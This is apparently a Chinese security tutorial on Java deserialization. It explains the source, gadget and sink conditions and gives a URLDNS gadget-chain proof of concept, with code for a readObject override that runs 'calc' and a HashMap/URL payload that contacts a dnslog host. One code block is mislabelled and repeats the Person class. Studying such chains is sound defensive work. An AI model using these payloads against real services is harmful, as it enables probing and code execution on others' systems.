原生Java序列化
被序列化的对象必须继承Serializble
Person.java
package com.superman;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
}
序列化程序 URLCC.java
package com.superman;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
}
反序列化程序 UnserializeTest.java
package com.superman;
import java.io.*;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object object = objectInputStream.readObject();
return object;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = (Person) unserialize("C://ser.txt");
System.out.println(person);
}
}
当被序列化对象里面重写了readObject方法,反序列化时重写的readObject中代码会自动执行。
如将上面Person类添加一个readObject方法
Person.java
package com.superman;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
反序列化漏洞条件
共同条件继承Serializable
入口类 source(重写readobject方法,调用常见函数,参数类型宽泛,最好jdk自带)
调用链 gadget chain 相同名称,相同类型
执行类sink (rce ssrf写文件等)
URLDNS链就是利用了hashCode方法,具体分析如下。
寻找入口类
Map接口参数类型宽泛,其实现类HashMap()继承Serializable并重写了readObject方法,readObject里面调用了常见的函数。一般都是使用该类为入口类
for循环遍历mapping,并将键进行hash计算确保键的唯一性。走进hash方法,当key不为null时进行hashCode计算,而hashCode方法是一个常用方法。
这样我们就找到了一个入口类hashMap,接下来我们就寻找哪些调用函数调用了hashCode方法。
调用链
这里以URLDNS链为例,首先URL类也继承了Serializable
并且与HashMap一样实现了hashCode方法
尝试写下序列化方法
URLCC.java
package com.superman;
import java.io.*;
import java.net.URL;
import java.util.HashMap;
public class URLCC {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void main(String[] args) throws IOException {
//入口类
HashMap<Object, Integer> hashMap = new HashMap<Object, Integer>();
//调用链
URL url = new URL("http://nk436i.ceye.io");
//执行类
hashMap.put(url,123);
serialize(hashMap);
}
}
当我们去序列化的时候发现dnslog平台会接收到请求,追其原因是当hash.put时会触发key.hashCode(),而这个key在代码中是URL类对象,
URL的hashCode方法,当hashCode等于-1时便走不进希望的handler.hashCode方法,实现getHostAddress方法去请求dns。其中hashCode初始化赋值-1,所以需要用反射修改其属性值
handler.hashCode代码
修改代码逻辑
URLCC.java
package com.superman;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLCC {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
//入口类
HashMap<Object, Integer> hashMap = new HashMap<Object, Integer>();
//调用链
URL url = new URL("http://nk436i.ceye.io");
//将hashCode更改为非-1的值,使其序列化的时候不会发起dns请求
Class<? extends URL> aClass = url.getClass();
Field hashCodeField = aClass.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,1234);
//执行类
hashMap.put(url,123);
//将hashCode改为-1,使其反序列化的时候能发起dns请求
hashCodeField.set(url,-1);
serialize(hashMap);
}
}
UnserializeTest.java
package com.superman;
import java.io.*;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object object = objectInputStream.readObject();
return object;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
unserialize("C://ser.txt");
}
}
总结下来这类反序列化利用就是反序列化后调用HashMap的重写的readobject,里面继续调用到key.hashCode等常用方法,只要找同样为Object类型有hashCode方法的类即可,URLDNS链并不能存在实际危害,只是用来探测是否能反序列化利用的工具链。